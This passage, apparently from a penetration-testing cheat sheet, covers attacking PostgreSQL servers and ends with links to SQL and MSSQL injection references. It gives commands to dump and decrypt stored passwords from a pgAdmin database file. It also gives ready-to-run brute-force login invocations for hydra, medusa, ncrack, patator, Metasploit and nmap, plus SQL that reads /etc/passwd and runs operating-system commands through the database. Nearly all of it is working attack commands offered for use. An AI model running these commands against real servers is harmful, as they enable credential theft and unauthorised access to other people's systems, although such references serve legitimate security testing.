#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Then restart the service.

pgadmin

pgadmin is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file. You can decrypt them using the decrypt function inside the script: pgadmin4/crypto.py at master · postgres/pgadmin4 · GitHub

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

Brute-Forcing

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

Read/Write File

Uses the Copy SQL command.

COPY mydata FROM '/etc/passwd';
COPY mydata TO '/tmp/data';

OS Interaction

Uses the system function and results don’t echo to the screen like MSSQL. The commands are run with the privileges PostGRES is running with. To exec:

SELECT system('cat /etc/passwd > /tmp/results.txt');

Reference Links

SQL Injection Cheat Sheet

SQL Injection Cheat Sheet | Invicti

MSSQL Union-based Injection

MSSQL Union Based Injection

Full MSSQL Injection Pwnage

Full MSSQL Injection PWNage

Enumerating SQL Server Logins

Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts